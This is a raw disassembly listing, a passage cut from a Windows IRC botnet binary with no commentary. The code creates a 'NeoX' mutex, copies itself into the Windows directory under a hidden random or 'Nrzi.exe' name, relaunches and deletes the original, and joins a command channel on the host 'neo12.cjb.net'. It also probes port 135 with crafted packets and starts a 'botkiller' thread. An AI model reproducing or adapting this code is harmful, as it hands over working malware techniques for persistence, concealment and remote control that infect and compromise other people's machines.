GetModuleFileNameA lea eax, [ebp+ProcessInformation] push eax ; lpProcessInformation lea eax, [ebp+StartupInfo] push eax ; lpStartupInfo lea eax, [ebp+CurrentDirectory] push eax ; lpCurrentDirectory push 0 ; lpEnvironment push 28h ; dwCreationFlags push 1 ; bInheritHandles push 0 ; lpThreadAttributes push 0 ; lpProcessAttributes lea eax, [ebp+CommandLine] push eax ; lpCommandLine push 0 ; lpApplicationName call ds:CreateProcessA ; CreateProcessA test eax, eax jz short loc_409D1D push 64h ; dwMilliseconds call ds:Sleep ; Sleep push [ebp+ProcessInformation.hProcess] ; hObject call ds:CloseHandle ; CloseHandle push [ebp+ProcessInformation.hThread] ; hObject call ds:CloseHandle ; CloseHandle loc_409D1D: ; CODE XREF: sub_409C28+D3j mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_42A7B4 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push 0 ; uExitCode call ds:ExitProcess ; ExitProcess sub_409C28 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_409D43(int, int, void *Buf2, size_t Size) sub_409D43 proc near ; CODE XREF: sub_409D82+1D7p ; sub_409D82+21Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Buf2 = dword ptr 10h Size = dword ptr 14h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_409D54 ; --------------------------------------------------------------------------- loc_409D4D: ; CODE XREF: sub_409D43:loc_409D7Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_409D54: ; CODE XREF: sub_409D43+8j mov eax, [ebp+arg_4] sub eax, [ebp+Size] cmp [ebp+var_4], eax jge short loc_409D7E push [ebp+Size] ; Size push [ebp+Buf2] ; Buf2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax ; Buf1 call _memcmp add esp, 0Ch test eax, eax jnz short loc_409D7C mov al, 1 jmp short locret_409D80 ; --------------------------------------------------------------------------- loc_409D7C: ; CODE XREF: sub_409D43+33j jmp short loc_409D4D ; --------------------------------------------------------------------------- loc_409D7E: ; CODE XREF: sub_409D43+1Aj xor al, al locret_409D80: ; CODE XREF: sub_409D43+37j leave retn sub_409D43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D82 proc near ; CODE XREF: sub_4016C0+96p ; sub_4016C0+241p var_2020 = dword ptr -2020h var_201C = dword ptr -201Ch Dst = word ptr -2018h var_2016 = word ptr -2016h var_2014 = dword ptr -2014h var_2008 = dword ptr -2008h var_2004 = dword ptr -2004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2020h call __alloca_probe mov eax, [ebp+arg_4] mov [ebp+var_2020], eax cmp [ebp+var_2020], 1 jz short loc_409DC0 cmp [ebp+var_2020], 2 jz loc_40A00C cmp [ebp+var_2020], 3 jz loc_40A030 jmp loc_40A034 ; --------------------------------------------------------------------------- loc_409DC0: ; CODE XREF: sub_409D82+1Dj and [ebp+var_201C], 0 push 6 push 1 push 2 call dword_4264A0 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_409DE2 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_409DE9 loc_409DE2: ; CODE XREF: sub_409D82+58j xor eax, eax jmp locret_40A03A ; --------------------------------------------------------------------------- loc_409DE9: ; CODE XREF: sub_409D82+5Ej push 10h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push 87h call dword_426424 ; ntohs mov [ebp+var_2016], ax push [ebp+arg_0] call sub_4088D0 pop ecx mov [ebp+var_2014], eax push 10h lea eax, [ebp+Dst] push eax push [ebp+var_4] call dword_4263D8 ; connect mov [ebp+var_2008], eax cmp [ebp+var_2008], 0FFFFFFFFh jz loc_409FEA push 0 push 48h push offset dword_421B7C push [ebp+var_4] call dword_426470 ; send mov [ebp+var_2008], eax cmp [ebp+var_2008], 0FFFFFFFFh jnz short loc_409E80 push [ebp+var_4] call dword_4264B8 ; closesocket mov eax, [ebp+var_201C] jmp locret_40A03A ; --------------------------------------------------------------------------- loc_409E80: ; CODE XREF: sub_409D82+E8j push 0 push 2000h lea eax, [ebp+var_2004] push eax push [ebp+var_4] call dword_42643C ; recv mov [ebp+var_2008], eax cmp [ebp+var_2008], 0FFFFFFFFh jnz short loc_409EBA push [ebp+var_4] call dword_4264B8 ; closesocket mov eax, [ebp+var_201C] jmp locret_40A03A ; --------------------------------------------------------------------------- loc_409EBA: ; CODE XREF: sub_409D82+122j movsx eax, byte ptr [ebp+var_2004+2] cmp eax, 0Ch jnz loc_409FD7 push 0 push 18h push offset dword_421BC8 push [ebp+var_4] call dword_426470 ; send mov [ebp+var_2008], eax cmp [ebp+var_2008], 0FFFFFFFFh jnz short loc_409EFF push [ebp+var_4] call dword_4264B8 ; closesocket mov eax, [ebp+var_201C] jmp locret_40A03A ; --------------------------------------------------------------------------- loc_409EFF: ; CODE XREF: sub_409D82+167j push 0 push 2000h lea eax, [ebp+var_2004] push eax push [ebp+var_4] call dword_42643C ; recv mov [ebp+var_2008], eax cmp [ebp+var_2008], 0FFFFFFFFh jnz short loc_409F39 push [ebp+var_4] call dword_4264B8 ; closesocket mov eax, [ebp+var_201C] jmp locret_40A03A ; --------------------------------------------------------------------------- loc_409F39: ; CODE XREF: sub_409D82+1A1j movsx eax, byte ptr [ebp+var_2004+2] cmp eax, 2 jnz short loc_409FC4 push 10h ; Size push offset dword_421BE4 ; Buf2 push [ebp+var_2008] ; int lea eax, [ebp+var_2004] push eax ; int call sub_409D43 add esp, 10h movzx eax, al test eax, eax jz short loc_409F8C cmp [ebp+var_2008], 12Ch jge short loc_409F80 mov [ebp+var_201C], 1 jmp short loc_409F8A ; --------------------------------------------------------------------------- loc_409F80: ; CODE XREF: sub_409D82+1F0j mov [ebp+var_201C], 2 loc_409F8A: ; CODE XREF: sub_409D82+1FCj jmp short loc_409FC2 ; --------------------------------------------------------------------------- loc_409F8C: ; CODE XREF: sub_409D82+1E4j push 10h ; Size push offset dword_421BF8 ; Buf2 push [ebp+var_2008] ; int lea eax, [ebp+var_2004] push eax ; int call sub_409D43 add esp, 10h movzx eax, al test eax, eax jz short loc_409FBB mov [ebp+var_201C], 3 jmp short loc_409FC2 ; --------------------------------------------------------------------------- loc_409FBB: ; CODE XREF: sub_409D82+22Bj and [ebp+var_201C], 0 loc_409FC2: ; CODE XREF: sub_409D82:loc_409F8Aj ; sub_409D82+237j jmp short loc_409FD5 ; --------------------------------------------------------------------------- loc_409FC4: ; CODE XREF: sub_409D82+1C1j push [ebp+var_4] call dword_4264B8 ; closesocket mov eax, [ebp+var_201C] jmp short locret_40A03A ; --------------------------------------------------------------------------- loc_409FD5: ; CODE XREF: sub_409D82:loc_409FC2j jmp short loc_409FE8 ; --------------------------------------------------------------------------- loc_409FD7: ; CODE XREF: sub_409D82+142j push [ebp+var_4] call dword_4264B8 ; closesocket mov eax, [ebp+var_201C] jmp short locret_40A03A ; --------------------------------------------------------------------------- loc_409FE8: ; CODE XREF: sub_409D82:loc_409FD5j jmp short loc_409FFB ; --------------------------------------------------------------------------- loc_409FEA: ; CODE XREF: sub_409D82+C3j push [ebp+var_4] call dword_4264B8 ; closesocket mov eax, [ebp+var_201C] jmp short locret_40A03A ; --------------------------------------------------------------------------- loc_409FFB: ; CODE XREF: sub_409D82:loc_409FE8j push [ebp+var_4] call dword_4264B8 ; closesocket mov eax, [ebp+var_201C] jmp short locret_40A03A ; --------------------------------------------------------------------------- loc_40A00C: ; CODE XREF: sub_409D82+26j push 3 push 1388h push [ebp+arg_0] call dword_426460 ; inet_addr push eax call sub_405369 add esp, 0Ch test eax, eax jz short loc_40A02E push 3 pop eax jmp short locret_40A03A ; --------------------------------------------------------------------------- loc_40A02E: ; CODE XREF: sub_409D82+2A5j jmp short loc_40A038 ; --------------------------------------------------------------------------- loc_40A030: ; CODE XREF: sub_409D82+33j xor eax, eax jmp short locret_40A03A ; --------------------------------------------------------------------------- loc_40A034: ; CODE XREF: sub_409D82+39j xor eax, eax jmp short locret_40A03A ; --------------------------------------------------------------------------- loc_40A038: ; CODE XREF: sub_409D82:loc_40A02Ej xor eax, eax locret_40A03A: ; CODE XREF: sub_409D82+62j ; sub_409D82+F9j ... leave retn sub_409D82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40A03C(int, char *Format, char) sub_40A03C proc near ; CODE XREF: sub_40A9EB+5Bp ; sub_40ABFE+2C4p ... Args = dword ptr -204h Dest = byte ptr -200h arg_0 = dword ptr 8 Format = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 204h lea eax, [ebp+arg_8] mov [ebp+Args], eax push [ebp+Args] ; Args push [ebp+Format] ; Format push 200h ; Count lea eax, [ebp+Dest] push eax ; Dest call __vsnprintf add esp, 10h push 0 lea eax, [ebp+Dest] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_426470 ; send leave retn sub_40A03C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A08D proc near ; CODE XREF: .text:00403A34p ; sub_403C1E+7FAp ... Count = dword ptr -408h Dest = byte ptr -404h var_204 = byte ptr -204h Str = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 408h push esi cmp [ebp+arg_C], 0 jz short loc_40A0A6 mov [ebp+Str], offset aNotice ; "NOTICE" jmp short loc_40A0AD ; --------------------------------------------------------------------------- loc_40A0A6: ; CODE XREF: sub_40A08D+Ej mov [ebp+Str], offset aPrivmsg ; "PRIVMSG" loc_40A0AD: ; CODE XREF: sub_40A08D+17j push [ebp+Str] ; Str call _strlen pop ecx mov esi, 200h sub esi, eax push [ebp+arg_4] ; Str call _strlen pop ecx sub esi, eax sub esi, 6 mov [ebp+Count], esi push [ebp+arg_8] push offset aS_0 ; "%s" push [ebp+Count] ; Count lea eax, [ebp+var_204] push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_204] push eax push [ebp+arg_4] push [ebp+Str] push offset aSSS ; "%s %s :%s\r\n" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 14h push 0 lea eax, [ebp+Dest] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_426470 ; send cmp [ebp+arg_10], 0 jz short loc_40A140 push 7D0h ; dwMilliseconds call ds:Sleep ; Sleep loc_40A140: ; CODE XREF: sub_40A08D+A6j pop esi leave retn sub_40A08D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+C9p var_9A0 = byte ptr -9A0h hObject = dword ptr -99Ch var_998 = dword ptr -998h ProcessInformation= _PROCESS_INFORMATION ptr -994h var_984 = dword ptr -984h Dest = byte ptr -980h var_87C = dword ptr -87Ch StartupInfo = _STARTUPINFOA ptr -878h CommandLine = byte ptr -834h var_730 = dword ptr -730h var_72C = word ptr -72Ch var_59C = dword ptr -59Ch Ext = byte ptr -598h CurrentDirectory= byte ptr -498h Source = byte ptr -394h ExistingFileName= byte ptr -314h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h Filename = byte ptr -204h Str = byte ptr -104h hInstance = dword ptr 8 hPrevInstance = dword ptr 0Ch lpCmdLine = dword ptr 10h nShowCmd = dword ptr 14h push ebp mov ebp, esp sub esp, 9A0h push ebx push esi push edi and [ebp+var_210], 0 and [ebp+var_20C], 0 and [ebp+var_59C], 0 and [ebp+var_730], 0 mov [ebp+var_208], offset sub_409C28 push [ebp+var_208] push large dword ptr fs:0 mov large fs:0, esp call ds:GetTickCount ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4700D0, eax call ds:GetTickCount ; GetTickCount push eax call sub_412333 pop ecx call sub_407087 push 2 call dword_4264CC ; SetErrorMode push 7530h ; dwMilliseconds push offset aNeox ; "NeoX" push 0 ; bInitialOwner push 0 ; lpMutexAttributes call ds:CreateMutexA ; CreateMutexA push eax ; hHandle call ds:WaitForSingleObject ; WaitForSingleObject cmp eax, 102h jnz short loc_40A1E1 push 1 ; uExitCode call ds:ExitProcess ; ExitProcess ; --------------------------------------------------------------------------- loc_40A1E1: ; CODE XREF: WinMain(x,x,x,x)+94j lea eax, [ebp+var_72C] push eax push 202h call dword_4263B4 ; WSAStartup mov [ebp+var_20C], eax cmp [ebp+var_20C], 0 jz short loc_40A209 xor eax, eax jmp loc_40A76F ; --------------------------------------------------------------------------- loc_40A209: ; CODE XREF: WinMain(x,x,x,x)+BDj movzx eax, [ebp+var_72C] and eax, 0FFh movzx eax, al cmp eax, 2 jnz short loc_40A22F movzx eax, [ebp+var_72C] shr eax, 8 movzx eax, al cmp eax, 2 jz short loc_40A23C loc_40A22F: ; CODE XREF: WinMain(x,x,x,x)+D8j call dword_42639C ; WSACleanup xor eax, eax jmp loc_40A76F ; --------------------------------------------------------------------------- loc_40A23C: ; CODE XREF: WinMain(x,x,x,x)+EAj push 104h ; uSize lea eax, [ebp+CurrentDirectory] push eax ; lpBuffer call ds:GetWindowsDirectoryA ; GetWindowsDirectoryA push 104h ; nSize lea eax, [ebp+ExistingFileName] push eax ; lpFilename push 0 ; lpModuleName call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetModuleFileNameA ; GetModuleFileNameA lea eax, [ebp+Ext] push eax ; Ext lea eax, [ebp+Filename] push eax ; Filename push 0 ; Dir push 0 ; Drive lea eax, [ebp+ExistingFileName] push eax ; FullPath call __splitpath add esp, 14h lea eax, [ebp+Ext] push eax lea eax, [ebp+Filename] push eax push offset aSS ; "%s%s" push 104h ; Count lea eax, [ebp+Str] push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+CurrentDirectory] push eax ; SubStr lea eax, [ebp+ExistingFileName] push eax ; Str call _strstr pop ecx pop ecx test eax, eax jnz loc_40A4D8 cmp dword_470240, 0 jz short loc_40A31F and [ebp+var_210], 0 jmp short loc_40A2ED ; --------------------------------------------------------------------------- loc_40A2E0: ; CODE XREF: WinMain(x,x,x,x)+1DAj mov eax, [ebp+var_210] inc eax mov [ebp+var_210], eax loc_40A2ED: ; CODE XREF: WinMain(x,x,x,x)+19Bj push offset String2 ; "Nrzi.exe" call _strlen pop ecx sub eax, 4 cmp [ebp+var_210], eax jnb short loc_40A31F call _rand cdq push 1Ah pop ecx idiv ecx add edx, 61h mov eax, [ebp+var_210] mov byte ptr String2[eax], dl ; "Nrzi.exe" jmp short loc_40A2E0 ; --------------------------------------------------------------------------- loc_40A31F: ; CODE XREF: WinMain(x,x,x,x)+192j ; WinMain(x,x,x,x)+1BEj push offset String2 ; "Nrzi.exe" lea eax, [ebp+CurrentDirectory] push eax push offset aSS_0 ; "%s\\%s" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dest] push eax ; lpFileName call ds:GetFileAttributesA ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_40A363 push 80h ; dwFileAttributes lea eax, [ebp+Dest] push eax ; lpFileName call ds:SetFileAttributesA ; SetFileAttributesA loc_40A363: ; CODE XREF: WinMain(x,x,x,x)+20Cj and [ebp+var_87C], 0 loc_40A36A: ; CODE XREF: WinMain(x,x,x,x):loc_40A3C4j push 0 ; bFailIfExists lea eax, [ebp+Dest] push eax ; lpNewFileName lea eax, [ebp+ExistingFileName] push eax ; lpExistingFileName call ds:CopyFileA ; CopyFileA test eax, eax jnz short loc_40A3C6 call ds:GetLastError mov [ebp+var_998], eax cmp [ebp+var_87C], 0 jnz short loc_40A3C2 cmp [ebp+var_998], 20h jz short loc_40A3AB cmp [ebp+var_998], 5 jnz short loc_40A3C2 loc_40A3AB: ; CODE XREF: WinMain(x,x,x,x)+25Dj mov [ebp+var_87C], 1 push 3A98h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40A3C4 ; --------------------------------------------------------------------------- loc_40A3C2: ; CODE XREF: WinMain(x,x,x,x)+254j ; WinMain(x,x,x,x)+266j jmp short loc_40A3C6 ; --------------------------------------------------------------------------- loc_40A3C4: ; CODE XREF: WinMain(x,x,x,x)+27Dj jmp short loc_40A36A ; --------------------------------------------------------------------------- loc_40A3C6: ; CODE XREF: WinMain(x,x,x,x)+23Fj ; WinMain(x,x,x,x):loc_40A3C2j lea eax, [ebp+Dest] push eax ; lpFileName call sub_4084A5 pop ecx push 7 ; dwFileAttributes lea eax, [ebp+Dest] push eax ; lpFileName call ds:SetFileAttributesA ; SetFileAttributesA push 10h ; Size push 0 ; Val lea eax, [ebp+ProcessInformation] push eax ; Dst call _memset add esp, 0Ch push 44h ; Size push 0 ; Val lea eax, [ebp+StartupInfo] push eax ; Dst call _memset add esp, 0Ch mov [ebp+StartupInfo.lpTitle], offset dword_47025C mov [ebp+StartupInfo.cb], 44h mov [ebp+StartupInfo.dwFlags], 1 and [ebp+StartupInfo.wShowWindow], 0 call ds:GetCurrentProcessId ; GetCurrentProcessId push eax ; dwProcessId push 1 ; bInheritHandle push 100000h ; dwDesiredAccess call ds:OpenProcess ; OpenProcess mov [ebp+var_984], eax lea eax, [ebp+ExistingFileName] push eax push [ebp+var_984] lea eax, [ebp+Dest] push eax push offset aSDS ; "%s %d \"%s\"" lea eax, [ebp+CommandLine] push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+ProcessInformation] push eax ; lpProcessInformation lea eax, [ebp+StartupInfo] push eax ; lpStartupInfo lea eax, [ebp+CurrentDirectory] push eax ; lpCurrentDirectory push 0 ; lpEnvironment push 28h ; dwCreationFlags push 1 ; bInheritHandles push 0 ; lpThreadAttributes push 0 ; lpProcessAttributes lea eax, [ebp+CommandLine] push eax ; lpCommandLine lea eax, [ebp+Dest] push eax ; lpApplicationName call ds:CreateProcessA ; CreateProcessA test eax, eax jz short loc_40A4D8 push 0C8h ; dwMilliseconds call ds:Sleep ; Sleep push [ebp+ProcessInformation.hProcess] ; hObject call ds:CloseHandle ; CloseHandle push [ebp+ProcessInformation.hThread] ; hObject call ds:CloseHandle ; CloseHandle call dword_42639C ; WSACleanup push 0 ; uExitCode call ds:ExitProcess ; ExitProcess ; --------------------------------------------------------------------------- loc_40A4D8: ; CODE XREF: WinMain(x,x,x,x)+185j ; WinMain(x,x,x,x)+362j cmp dword_4702C8, 2 jle short loc_40A533 mov eax, dword_4702CC push dword ptr [eax+4] ; Str call _atoi pop ecx mov [ebp+hObject], eax push 0FFFFFFFFh ; dwMilliseconds push [ebp+hObject] ; hHandle call ds:WaitForSingleObject ; WaitForSingleObject push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle mov eax, dword_4702CC cmp dword ptr [eax+8], 0 jz short loc_40A533 push 7D0h ; dwMilliseconds call ds:Sleep ; Sleep mov eax, dword_4702CC push dword ptr [eax+8] ; lpFileName call ds:DeleteFileA ; DeleteFileA loc_40A533: ; CODE XREF: WinMain(x,x,x,x)+39Cj ; WinMain(x,x,x,x)+3D5j cmp dword_421C40, 0 jz short loc_40A552 cmp dword_4264EC, 0 jnz short loc_40A552 lea eax, [ebp+Str] push eax ; Str call sub_40954C pop ecx loc_40A552: ; CODE XREF: WinMain(x,x,x,x)+3F7j ; WinMain(x,x,x,x)+400j push offset dword_421E54 ; Format lea eax, [ebp+Source] push eax ; Dest call _sprintf pop ecx pop ecx push 0 ; int push 0 ; int lea eax, [ebp+Source] push eax ; Source call sub_410231 add esp, 0Ch lea eax, [ebp+Source] push eax call sub_40913D pop ecx push 0B80h ; Size push 0 ; Val push offset byte_42A7C0 ; Dst call _memset add esp, 0Ch call _rand xor edx, edx push 1 pop ecx div ecx mov dword_470258, edx push 7Fh ; Count push offset Source ; "neo12.cjb.net" push offset aNeo12_cjb_ne_0 ; "neo12.cjb.net" call _strncpy add esp, 0Ch mov eax, dword_421C30 mov dword_47022C, eax push 3Fh ; Count push offset aNhg ; "#!nhg!#" push offset aNhg_0 ; "#!nhg!#" call _strncpy add esp, 0Ch push 3Fh ; Count push offset aAsdasd ; "asdasd" push offset aAsdasd_0 ; "asdasd" call _strncpy add esp, 0Ch and dword_470230, 0 loc_40A5F8: ; CODE XREF: WinMain(x,x,x,x):loc_40A75Dj push 1 pop eax test eax, eax jz loc_40A762 and [ebp+var_210], 0 jmp short loc_40A619 ; --------------------------------------------------------------------------- loc_40A60C: ; CODE XREF: WinMain(x,x,x,x)+506j ; WinMain(x,x,x,x)+54Bj mov eax, [ebp+var_210] inc eax mov [ebp+var_210], eax loc_40A619: ; CODE XREF: WinMain(x,x,x,x)+4C7j cmp [ebp+var_210], 6 jge short loc_40A693 cmp dword_426504, 0 jnz short loc_40A64B push 0 lea eax, [ebp+var_9A0] push eax call dword_42638C ; InternetGetConnectedState test eax, eax jnz short loc_40A64B push 7530h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40A60C ; --------------------------------------------------------------------------- loc_40A64B: ; CODE XREF: WinMain(x,x,x,x)+4E6j ; WinMain(x,x,x,x)+4F9j and dword_470254, 0 push offset dword_4700D8 call sub_40A776 mov [ebp+var_20C], eax cmp [ebp+var_20C], 2 jnz short loc_40A66D jmp short loc_40A693 ; --------------------------------------------------------------------------- loc_40A66D: ; CODE XREF: WinMain(x,x,x,x)+526j cmp dword_470254, 0 jz short loc_40A683 mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_40A683: ; CODE XREF: WinMain(x,x,x,x)+531j push 0BB8h ; dwMilliseconds call ds:Sleep ; Sleep jmp loc_40A60C ; --------------------------------------------------------------------------- loc_40A693: ; CODE XREF: WinMain(x,x,x,x)+4DDj ; WinMain(x,x,x,x)+528j cmp [ebp+var_20C], 2 jnz short loc_40A6A1 jmp loc_40A762 ; --------------------------------------------------------------------------- loc_40A6A1: ; CODE XREF: WinMain(x,x,x,x)+557j cmp [ebp+var_730], 0 jz short loc_40A6F9 push 7Fh ; Count push offset Source ; "neo12.cjb.net" push offset aNeo12_cjb_ne_0 ; "neo12.cjb.net" call _strncpy add esp, 0Ch mov eax, dword_421C30 mov dword_47022C, eax push 3Fh ; Count push offset aNhg ; "#!nhg!#" push offset aNhg_0 ; "#!nhg!#" call _strncpy add esp, 0Ch push 3Fh ; Count push offset aAsdasd ; "asdasd" push offset aAsdasd_0 ; "asdasd" call _strncpy add esp, 0Ch and [ebp+var_730], 0 jmp short loc_40A75D ; --------------------------------------------------------------------------- loc_40A6F9: ; CODE XREF: WinMain(x,x,x,x)+565j cmp [ebp+var_730], 0 jnz short loc_40A75D movsx eax, byte_470248 test eax, eax jz short loc_40A75D push 7Fh ; Count push offset byte_470248 ; Source push offset aNeo12_cjb_ne_0 ; "neo12.cjb.net" call _strncpy add esp, 0Ch mov eax, dword_421C34 mov dword_47022C, eax push 3Fh ; Count push offset byte_47024C ; Source push offset aNhg_0 ; "#!nhg!#" call _strncpy add esp, 0Ch push 3Fh ; Count push offset byte_470250 ; Source push offset aAsdasd_0 ; "asdasd" call _strncpy add esp, 0Ch mov [ebp+var_730], 1 loc_40A75D: ; CODE XREF: WinMain(x,x,x,x)+5B4j ; WinMain(x,x,x,x)+5BDj ... jmp loc_40A5F8 ; --------------------------------------------------------------------------- loc_40A762: ; CODE XREF: WinMain(x,x,x,x)+4BAj ; WinMain(x,x,x,x)+559j call sub_41050C call dword_42639C ; WSACleanup xor eax, eax loc_40A76F: ; CODE XREF: WinMain(x,x,x,x)+C1j ; WinMain(x,x,x,x)+F4j pop edi pop esi pop ebx leave retn 10h _WinMain@16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A776 proc near ; CODE XREF: WinMain(x,x,x,x)+514p Parameter = dword ptr -1B4h var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h ThreadId = dword ptr -1A0h Source = dword ptr -19Ch Dst = word ptr -198h var_196 = word ptr -196h var_194 = dword ptr -194h Dest = byte ptr -188h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = byte ptr -0E4h var_A4 = byte ptr -0A4h var_64 = byte ptr -64h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B4h push esi push edi and [ebp+ThreadId], 0 mov esi, [ebp+arg_0] push 59h pop ecx lea edi, [ebp+var_168] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov dword ptr [eax+160h], 1 loc_40A7A9: ; CODE XREF: sub_40A776+139j ; sub_40A776+232j ... push 1 pop eax test eax, eax jz loc_40A9D6 push 10h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_14] call dword_426424 ; ntohs mov [ebp+var_196], ax lea eax, [ebp+var_164] push eax call sub_4088D0 pop ecx mov [ebp+var_194], eax cmp [ebp+var_194], 0 jnz short loc_40A803 xor eax, eax jmp loc_40A9E5 ; --------------------------------------------------------------------------- loc_40A803: ; CODE XREF: sub_40A776+84j push 1Ch ; Size push 0 ; Val lea eax, [ebp+Dest] push eax ; Dst call _memset add esp, 0Ch push 0 ; Str1 push dword_421C4C ; int lea eax, [ebp+Dest] push eax ; Dest call sub_40FD9A add esp, 0Ch mov [ebp+Source], eax push 1Bh ; Count push [ebp+Source] ; Source mov eax, [ebp+var_C] imul eax, 234h add eax, offset aUsaXpSp2667553 ; "USA|XP|SP2|667553" push eax ; Dest call _strncpy add esp, 0Ch push 6 push 1 push 2 call dword_4264A0 ; socket mov [ebp+var_1A4], eax mov eax, [ebp+var_C] imul eax, 234h mov ecx, [ebp+var_1A4] mov dword_42B54C[eax], ecx push 10h lea eax, [ebp+Dst] push eax push [ebp+var_1A4] call dword_4263D8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40A8B4 push [ebp+var_1A4] call dword_4264B8 ; closesocket call sub_408910 push 7D0h ; dwMilliseconds call ds:Sleep ; Sleep jmp loc_40A7A9 ; --------------------------------------------------------------------------- loc_40A8B4: ; CODE XREF: sub_40A776+11Bj lea eax, [ebp+var_164] push eax ; char push offset dword_421E7C ; Format call sub_4091D3 pop ecx pop ecx cmp dword_421D24, 0 jz loc_40A957 mov eax, [ebp+var_1A4] mov [ebp+Parameter], eax and [ebp+var_1AC], 0 push 0 ; int push 21h ; int push offset a_n_z_m_Botkill ; ".n.z.m. (botkiller.p.l.g) .. Botkill"... call sub_410231 add esp, 0Ch mov [ebp+var_1B0], eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags lea eax, [ebp+Parameter] push eax ; lpParameter push offset sub_405D52 ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, [ebp+var_1B0] imul ecx, 234h mov dword_42B554[ecx], eax mov eax, [ebp+var_1B0] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_40A957 loc_40A944: ; CODE XREF: sub_40A776+1DFj cmp [ebp+var_1A8], 0 jnz short loc_40A957 push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40A944 ; --------------------------------------------------------------------------- loc_40A957: ; CODE XREF: sub_40A776+158j ; sub_40A776+1CCj ... push [ebp+var_10] lea eax, [ebp+var_164] push eax lea eax, [ebp+var_64] push eax push [ebp+var_168] push [ebp+Source] lea eax, [ebp+var_A4] push eax lea eax, [ebp+var_E4] push eax push [ebp+var_1A4] call sub_40A9EB add esp, 20h mov [ebp+var_16C], eax push [ebp+var_1A4] call dword_4264B8 ; closesocket cmp [ebp+var_16C], 0 jnz short loc_40A9AD jmp loc_40A7A9 ; --------------------------------------------------------------------------- loc_40A9AD: ; CODE XREF: sub_40A776+230j cmp [ebp+var_16C], 1 jnz short loc_40A9C6 push 0DBBA0h ; dwMilliseconds call ds:Sleep ; Sleep jmp loc_40A7A9 ; --------------------------------------------------------------------------- loc_40A9C6: ; CODE XREF: sub_40A776+23Ej cmp [ebp+var_16C], 2 jnz short loc_40A9D1 jmp short loc_40A9D6 ; --------------------------------------------------------------------------- loc_40A9D1: ; CODE XREF: sub_40A776+257j jmp loc_40A7A9 ; --------------------------------------------------------------------------- loc_40A9D6: ; CODE XREF: sub_40A776+38j ; sub_40A776+259j push [ebp+var_C] call sub_410709 pop ecx mov eax, [ebp+var_16C] loc_40A9E5: ; CODE XREF: sub_40A776+88j pop edi pop esi leave retn 4 sub_40A776 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9EB proc near ; CODE XREF: sub_40A776+20Fp var_1A18 = dword ptr -1A18h Str = byte ptr -1A14h Dst = byte ptr -1994h var_994 = dword ptr -994h Src = dword ptr -990h var_1C0 = dword ptr -1C0h var_1BC = dword ptr -1BCh var_1B8 = dword ptr -1B8h Dest = byte ptr -0B8h var_A4 = dword ptr -0A4h var_4 = dword ptr -4 s = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A18h call __alloca_probe and [ebp+var_4], 0 and [ebp+var_1C0], 0 jmp short loc_40AA12 ; 